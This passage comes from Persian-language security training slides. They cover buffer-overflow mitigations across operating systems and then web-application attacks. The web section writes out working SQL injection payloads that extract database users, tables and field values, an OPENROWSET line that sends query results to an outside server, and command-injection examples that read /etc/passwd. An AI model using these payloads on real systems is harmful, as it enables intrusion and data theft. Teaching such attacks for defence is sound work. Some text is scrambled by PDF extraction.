، Addressموقیت قرار گرفتن توابع کتابخانه ایی ، Stackو Headدر محدوده آدرس آن پروسه میگردد.
83
39. مقابله با حملت سرریز بافر
مکانیزم های پیاده سازی شده در سیستم عامل های مختلف:
: FreeBSD پشتیبانی از پردازنده های NXاز نسخه 3.5
: Linux پشتیبانی از پردازنده های 32/64bitدارای NXاز کرنل نسخه 8.6.2
کرنل 32bitارائه شده توسط برخی نگارش ها مانند 6OpenSUSE Ubuntu , Fedora C
بصورت پیشفرض برای استفاده از NXسخت افزاری تنظیم نشده اند
: RedHat پشتیبانی از NXتمامی CPUهاتوسط راهکار اختصاصی . Exec Shield
Emulated-NXتنها بر روی پردازنده های 23 IAپشتیبانی میگردد. ارائه شده در FCو
RHEL
: PAX این تکنولوژی برای پیاده سازی NXدر سیستم های فاقد امکان سخت افزاری طراحی شده
و کلیه پردازنده های 68 xرا پشتیبانی میکند.
کرنل لینوکس هنوز بطور پیشفرض این تکنولوژی را بکار نبرده است
پشتیبانی از ,PowerPC ,PA-RISC ,(and 64 bit 32) MIPS ,IA-64 ,AMD64 ,Alpha
SPARC
استفاده شده بطور پیشفرض در Adamantix , Hardened Gentoo , Hardened Linux
: Mac OSX پشتیبانی از NXپردازنده های اینتل از نسخه 4.01 و کلیه پردازنده های تحت
پوشش OSX
93
40. مقابله با حملت سرریز بافر
مکانیزم های پیاده سازی شده در سیستم عامل های مختلف:
: Windowsپشتیبانی از NXبرای اولین بار در معماری 68 xاز نسخه 2 XP SPو 3002 1Server SP
ارائه شده تحت نام ( DEP (Data Execution Prevention
بطور پیشفرض تنها پروسه ها و سرویس های اصلی سیستم عامل محافظت میشوند
در صورت پشتیبانی پردازنده از NX ،DEPبطور خودکار فعال میگردد
در نسخه های اولیه ، DEPاز ASLRاستفاده نشده ! امکان دور زدن DEPو حتی غیر فعال کردن این مکانیزم توسط حملت -return
to-libcبه همین دلیل میسر میشود.
مثالی عینی از حمله به DEPحتی با وجود بکار بستن کلیه تمهیدات امنیتی NXو سیستم عامل!
http//:metasploit.com/svn/framework3/trunk/modules/exploits/windows/dcerpc/msdns_zonename.rb
مقاله ای بسیار جالب از نحوه دور زدن مکانیزم http//:uninformed.org/v?=a&2=4 NX+DEP
(SafeSEH (Software DEPتکنولوژی دیگری میباشد که به NXارتباطی نداشته و برای حفاظت علیه حملت برای سو استفاده از
SEHپیاده سازی شده است
استفاده از این تکنولوژی منوط به استفاده نرم افزار از آن در زمان تولید )کامپایل( است
بکمک SafeSEHسیستم عامل تنها اجازه استفاده از Exception Handlerهایی را به نرم افزار میدهد که قبل تعریف و registerشده اند.
ویندوز Vistaمبتنی بر نسخه جدید DEPمیباشد که از تکنولوژی ASLRبهره می برد.
در صورتی که پردازده از NXپشتیبانی نکند ، ویندوز پشتیبانی از این امکان بصورت Software-Emulatedرا ندارد
: NetBSDبهره گیری از Non Executable Heap/Stackاز نسخه 0.2
پشتیبانی از amd64, sparc64, sparc(sun4m, sun4d) , powerpc(ibm4xx), alpha, sh5, hppa
عدم پشتیبانی از Emulated-NXبطور پیشفرض
: OpenBSDپشتیبانی از NXتحت تکنولوژی اختصاصی با نام ( W^X (WAXاز نسخه 3.3
پشتیبانی از Alpha, AMD64, HPPA, and SPARC
پشتیباتی از Emulated-NXدر برخی از پردازنده ها
: Solarisبهره گیری از Non Executable Stackاز نسخه 6.2
04
42. مقابله با حملت سرریز بافر
استفاده از نرم افزارها و الحاقیه های جانبی
بهبود امنیت سیستم عامل
اضافه کردن قابلیت های امنیتی مورد نیاز به سیستم عامل ، در صورت عدم وجود آنها بصورت پیشفرض
… , ASLR , Non Executable Stack/Heap , Security Policies
GRSecurity
http://www.grsecurity.net/features.php
اضافه کردن PAXبه کرنل لینوکس
مقابله با Stack/Heap Overflowبا استفاده از تکنیک های مختلف
بهبود امنیت کامپایلر سیستم عامل
} ... و بسیاری امکانات دیگر!{
استفاده از نرم افزارهای جانبی برای مقابله با حملت
رایج در سیستم عامل های خانواده ویندوز
جبران کمبود های امنیتی سیستم عامل مانند NXو ASLR
تشخیص حملت سرریز بافر از طریق مانیتور کردن حافظه و جلوگیری از آنها
استفاده در کنار قابلیت های امنیتی سیستم عامل ، برای پیچیده تر کردن مکانیزم حملت
استفاده در مواردی که ناچار به استفاده از سیستم عامل های نا امن و یا نسخه های قدیمی هستیم
استفاده بعنوان (HIPS (Host Intrusion Prevention System
ارائه غالبآ بصورت بسته های نرم افزاری تجاری
http://www.eeye.com/html/products/blink/index.html : Eeye Blink
/http://www.wehnus.com : WhehnTrust
http://www.ngsec.com : StackDefender
... }{!Google for more
24
43. حمله به نرم افزارهای تحت وب
روز به روز بر محبوبیت و کاربرد نرم افزارهای تحت وب اضافه میگردد
نقطه شروع بسیاری از حملت علیه سیستم ها و شبکه ها نرم افزارهای تحت
وب میباشد
در بسیاری از موارد ، نرم افزارهای تحت وب تنها نقطه دسترسی یک نفوذگر
به سیستم های هدف قرار گرفته میباشند
در ادامه برخی از حملت شایع علیه نرم افزارهای تحت وب و همچنین
راهکارهایی برای پیشگیری و مقابله با این حملت مورد بررسی قرار خواهد
گرفت
34
44. حمله به نرم افزارهای تحت وب
آشنایی با انواع حملت مبتنی بر نرم افزارهای تحت وب
Cross-Site Scripting
SQL Injection
Command Injection
Dynamic code execution
Cookie/Session Hijacking
Parameter/form Tampering
Buffer Overflows
Directory Traversal
Forceful Browsing
Information Leakages
Harvesting Attacks
44
45. حمله به نرم افزارهای تحت وب
آشنایی با آناتومی حمله به سیستم های تحت وب
پویش برای شناسایی نرم افزار تحت وب
Web Spidering and User directed spidering
Discovering Hidden contents
Checking search engines and archive sites
Brute-forcing directories and files
Identify entry points for user inputs
جمع آوری اطلعات و شناسایی هدف
شناسایی وب سرور
شناسایی Application Server
تست و بررسی وجود آسیب پذیری ها
طراحی روش حمله و نحوه پیاده سازی آن
پیاده سازی حمله
54
46. حمله به نرم افزارهای تحت وب
بررسی حملت SQL Injection
آشنایی با مکانیزم حملت SQL Injection
نحوه جستجو و شناسایی SQL Injection
Blind SQL Injection
Normal SQL Injection
عبور از فرم های اعتبار سنجی
تزریق دستورات ( )SELECT,UNION
SELECT,INSERT,UPDATE,DELETE
استخراج اطلعات مفید اولیه از بانک اطلعاتی
مشخص کردن نسخه بانک اطلعاتی
مشخص کردن نام کاربری مورد استفاده بانک اطلعاتی
64
47. حمله به نرم افزارهای تحت وب
استخراج اطلعات مورد نظر از بانک اطلعاتی بر اساس پیغام های خطا
: Integer بررسی پارامتر از نوع
–http://[site]/page.asp?id=1 having 1=1
Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate
.function and there is no GROUP BY clause
: String بررسی پارامتر از نوع
–http://[site]/page.asp?id=x' having 1=1
Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate
.function and there is no GROUP BY clause
استخراج نام کاربر بانک اطلعاتی
–((http://[site]/page.asp?id=1 or 1=convert(int,(USER
.Syntax error converting the nvarchar value '[DB USER]' to a column of data type int
استخراج نام بانک اطلعاتی
–((http://[site]/page.asp?id=1 or 1=convert(int,(DB_NAME
.Syntax error converting the nvarchar value '[DB NAME]' to a column of data type int
استخراج نسخه بانک اطلعاتی
–((http://[site]/page.asp?id=1 or 1=convert(int,(@@VERSION
.Syntax error converting the nvarchar value '[DB VERSION]' to a column of data type int
استخراج نام سرور
–((http://[site]/page.asp?id=1 or 1=convert(int,(@@SERVERNAME
.Syntax error converting the nvarchar value '[SERVER NAME]' to a column of data type int
47
48. حمله به نرم افزارهای تحت وب
(2) استخراج اطلعات مورد نظر از بانک اطلعاتی بر اساس پیغام های خطا
استخراج نام اولینTable
http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85)))–
Syntax error converting the nvarchar value '[TABLE NAME 1]' to a column of data type int.
استخراج نام دومینTable
http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and ,name>'TABLE-
NAME-1'))–
Syntax error converting the nvarchar value '[TABLE NAME 2]' to a column of data type int.
استخراج نام سومینTable
http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and ,name>'TABLE-
NAME-2'))-- Syntax error converting the nvarchar value '[TABLE NAME 3]' to a column of data type int.
استخراج نام اولینColumn درTable
http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 column_name from DBNAME.information_schema.columns where
table_name='TABLE-NAME-1'))–
Syntax error converting the nvarchar value '[COLUMN NAME 1]' to a column of data type int.
استخراج نام دومینColumn درTable
http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 column_name from DBNAME.information_schema.columns where
table_name='TABLE-NAME-1' and column_name>'COLUMN-NAME-1'))–
Syntax error converting the nvarchar value '[COLUMN NAME 2]' to a column of data type int.
استخراج اولینField از اولینRow
http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-1 from TABLE-NAME-1))–
Syntax error converting the nvarchar value '[FIELD 1 VALUE]' to a column of data type int.
استخراج دومینField از اولینRow
http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-2 from TABLE-NAME-1))–
Syntax error converting the nvarchar value '[FIELD 2 VALUE]' to a column of data type int.
استخراج اولینField از دومینRow
http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-1 from TABLE-NAME-1 where COLUMN-
NAME-1 NOT in ('FIELD-1-VALUE') order by COLUMN-NAME-1 desc))–
Syntax error converting the nvarchar value '[FIELD 1 VALUE OF 2ND ROW]' to a column of data type int.
48
49. حمله به نرم افزارهای تحت وب
Union استخراج اطلعات از بانک اطلعاتی با استفاده از
مشخص کردن تعداد پارامترها
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2–
All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4–
NO Error
استخراج نام کاربر بانک اطلعاتی
http://[site]/page.asp?id=1 UNION SELECT ALL 1,USER,3,4—
استخراج نام بانک اطلعاتی
http://[site]/page.asp?id=1 UNION SELECT ALL 1,DB_NAME,3,4—
استخراج نسخه بانک اطلعاتی
http://[site]/page.asp?id=1 UNION SELECT ALL 1,@@VERSION,3,4—
استخراج نامTable های بانک اطلعاتی
http://[site]/page.asp?id=1 UNION SELECT ALL 1,name,3,4 from sysobjects where xtype=char(85)—
استخراج نامColumn هایTable ها
http://[site]/page.asp?id=1 UNION SELECT ALL 1,column_name,3,4 from
DBNAME.information_schema.columns where table_name='TABLE-NAME-1'—
استخراج اولینField
http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-1,3,4 from TABLE-NAME-1—
استخراج دومینField
http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-2,3,4 from TABLE-NAME-1--
49
50. حمله به نرم افزارهای تحت وب
http//:www.evilsql) Blind SQL Injection استخراج اطلعات مورد نظر در حملت
(.com/page1.html
(Out of band channles) آشنایی با روش های غیر معمول استخراج اطلعات
MS-SQL Openrowset
insert into openrowset(‘SQLOLEDB’,‘DRIVER={SQL
Server};SERVER=10.20.10.20,80;UID=sa;PWD=1234’,‘select * from
foo’) values (@@version)
DNS Resolve
HTTP GET
http//:www.cqure.net/files/OWASP%20-%20Sweden%20-%2020080527%20-%20SQL%20injection.zip
SQL Injection اجرای دستورات سیستم عامل از طریق
استخراج اطلعاتAutomated بررسی ابزارهای
50
51. حمله به نرم افزارهای تحت وب
OS Command Injection بررسی حملت
use CGI qw(:standard escapeHTML);
print header, start_html(““); Perl Applications
print “<pre>“;
my $command = “du -h --exclude php* /var/www/html“;
$command= $command.param(“dir“);
$command=`$command`;
print “$commandn“;
print end_html;
http://web-app/cgi-bin/vuln.cgi?dir=/public|%20cat
%/etc/passwd
<% ASP Applications
Set oScript = Server.CreateObject(“WSCRIPT.SHELL“)
Set oFileSys = Server.CreateObject(“Scripting.FileSystemObject“)
szCMD = “type c:inetpubwwwrootlogs“ & Request.Form(“FileName“)
szTempFile = “C:“ & oFileSys.GetTempName()
Call oScript.Run (“cmd.exe /c “ & szCMD & “ > “ & szTempFile,
0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
%>
http://web-app/view.asp [Form Data sample.log && dir c:
51
52. حمله به نرم افزارهای تحت وب
بررسی حملت 2( )Command Injection
روش های شناسایی
تزریق کاراکترهای خاص در پارامترها ، قبل از دستورات و مشاهده مستقیم نتیجه
کاراکتر های ; | &&
تزریق و تشخیص بر اساس تآخیرهای زمانی
| ping –i 30 127.0.0.1 |
| ping –n 30 127.0.0.1 |
& ping –i 30 127.0.0.1 &
& ping –n 30 127.0.0.1 &
; ping 127.0.0.1 ;
%0a ping –i 30 127.0.0.1 %0a
` ping 127.0.0.1 `
تزریق و تشخیص بر اساس مشاهده خروجی دستور از سایر روش ها
بررسی حملت Code Injection
Dynamic Code Execution in PHP
Dynamic Code Execution in ASP
File Inclusion
(PHP Remote File Inclusion (RFI
(Local File Inclusin (LFI
25
53. حمله به نرم افزارهای تحت وب
Path Traversal
( 433 (WAHHB Page بررسی حملت
( )Cross Site Scripting (XSS 573 (WAHHB Page بررسی حملت
بررسی انواع حملت XSSو تفاوت های آنها
Reflected XSS
Stored XSS
( شناسایی ضعف های 104 XSS (WAHHB Page
بررسی کاربردهای حملت XSS
سرقت Sessionکاربر
Bypassکردن برخی محدودیت های Web Application
ارسال درخواست بجای کاربر به web applicationبرای انجام عملی خاص
بررسی سایر روش های سو استفاده )693 (WAHHB Page
بررسی حملت Parameter Tampering/Manipulation
بررسی حملت Forceful Browsing
معرفی ابزارهای پویش و بررسی نرم افزارهای تحت وب
35